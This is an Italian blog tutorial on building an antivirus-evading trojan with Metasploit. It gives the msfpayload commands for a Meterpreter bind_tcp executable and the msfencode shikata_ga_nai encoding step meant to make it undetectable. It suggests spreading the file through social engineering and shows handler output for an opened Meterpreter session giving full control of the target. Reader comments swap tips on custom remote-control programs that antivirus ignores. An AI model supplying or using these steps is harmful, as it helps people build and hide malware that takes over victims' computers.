Come Creare un Trojan non Rilevabile dagli Antivirus con Metasploit

Con Metasploit è possibile creare ed eseguire exploit per ottenere l’accesso remoto a computer vulnerabili. L’interazione col computer colpito viene garantita da diversi payload che forniscono l’interfaccia tra l’attaccante e l’obiettivo. Uno di questi payload è il potente Meterpreter.

Una caratteristica interessante dei payload di Metasploit è che possono essere resi indipendenti dall’exploit; per esempio è possibile creare un file eseguibile “contenente” Meterpeter: si tratta a tutti gli effetti di un trojan. Questo file può essere distribuito, magari sfruttando tattiche di social-engineering. Una volta in esecuzione sulla macchina target offre all’intrusore un’interfaccia che consente a quest’ultimo il controllo totale del sistema.

Per creare un Meterpreter/trojan che apra la porta Tcp 4444 sulla macchina della vittima, è sufficiente eseguire msfpayload con i seguenti parametri:

$ msfpayload  windows/meterpreter/bind_tcp X > trojan.exe
Created by msfpayload  (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
Length:  298

verrà prodotto un file di circa 37KB dal nome trojan.exe.

Probabilmente gli antivirus saranno in grado di rilevare questo file. Per tentare di confondere gli antivirus è possibile cifrare il trojan così ottenuto, rendedolo “undetectable”. Par farlo si usa msfencode, sempre in dotazione alla suite Metasploit:

$ msfpayload windows/meterpreter/bind_tcp  R | msfencode -t exe >  trojan.exe
[*] x86/shikata_ga_nai  succeeded with size 326 (iteration=1)

Questo comando fa in modo che ad ogni esecuzione venga creata una versione del trojan cifrata tramite xor; di fatto ogni volta viene creato un file diverso. Questa tattica rende più difficile agli antivirus l’individuazione del trojan.

Una volta creato il trojan è possibile testarlo eseguendolo sulla macchina locale. Se il trojan si avvia, sarà presente nella lista dei processi e nell’elenco delle porta aperte apparirà la porta 4444 aperta:

$  netstat -an
 
Connessioni attive
 
Proto  Indirizzo  locale       Indirizzo esterno       Stato
TCP     0.0.0.0:4444           0.0.0.0:0              LISTENING

Rimane un problema: come accedere alla PC compromesso, su cui gira il nostro Meterpreter/trojan? Serve un client. E naturalmente il client naturale è Metasploit, in particolare msfcli. Per collegarsi al Meterpreter remoto si usa msfcli specificando il tipo di payload e l’indirizzoo remoto (RHOST). In questo esempio l’indirizzo remoto è in realtà l’indirizzo del computer locale, su cui gira il trojan:

$ msfcli exploit/multi/handler  PAYLOAD=windows/meterpreter/bind_tcp RHOST=127.0.0.1 E
[*] Please  wait while we load the module tree...
[*] Started bind handler
[*]  Starting the payload handler...
[*] Sending stage (723456 bytes)
[*]  Meterpreter session 1 opened (127.0.0.1:14359 > 127.0.0.1:4444)

Una volta avviato Meterpreter, la macchina è sotto il nostro completo controllo:

meterpreter > sysinfo
Computer: RONIN
OS       : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language:  it_IT
meterpreter >

In questo articolo ho mostrato come estrapolare il payload Meterpreter per poterlo utilizzare come trojan, come renderlo non rilevabile (o come tentare di farlo) dagli antivirus, e come collegarsi al trojan sfruttando la versione msfcli di Metasploit. E’ chiaro che utilizzando queste tecniche con tattiche di social-engineering, il penetration tester ha a disposizione un’arma formidabile per ottenere il controllo di qualsiasi computer.

7 Commenti

  1. Io sono sempre più convinto che la cosa migliore sia creare un programma ad hoc, magari se non si vuole perdere troppo tempo si cerca qualche sorgente di programmi fatti in vb per il controllo remoto.. vi assicuro che tutt’ora molti antivirus li ignorano! La parte più interessante (che non ho mai provato perchè non mi è servita) è quella della reverse connection! Tempo fà avevo iniziato un piccolo progetto che ho abbandonato poco dopo per questioni di tempo.. ma per quelle poche funzioni implementate funzionava alla grande!

  2. Meglio di metasploit? mmmm…ho qualche dubbio..
    anche i crypter hanno la vita breve, è solo questione di tempo…tu quale hai usato?
    secondo me è meglio scriversi la propria app.

  3. Ciao, complimenti per la guida esauriente! Sto leggendo molteplici guide e tutorial su metasploit, ma non ho ancora ben chiaro il fatto che questi tipi di attacchi possono essere sferrati solo contro host collegati alla stessa rete LAN oppure anche attraverso Internet.
    Scusa la domanda sciocca, spero in una vostra risposta 🙂
    grazie ciaooo

1 Trackback / Pingback

  1. Falla Internet Explorer: Zero-Day Minaccia gli Utenti Microsoft | PillolHacking.Net

I commenti sono bloccati.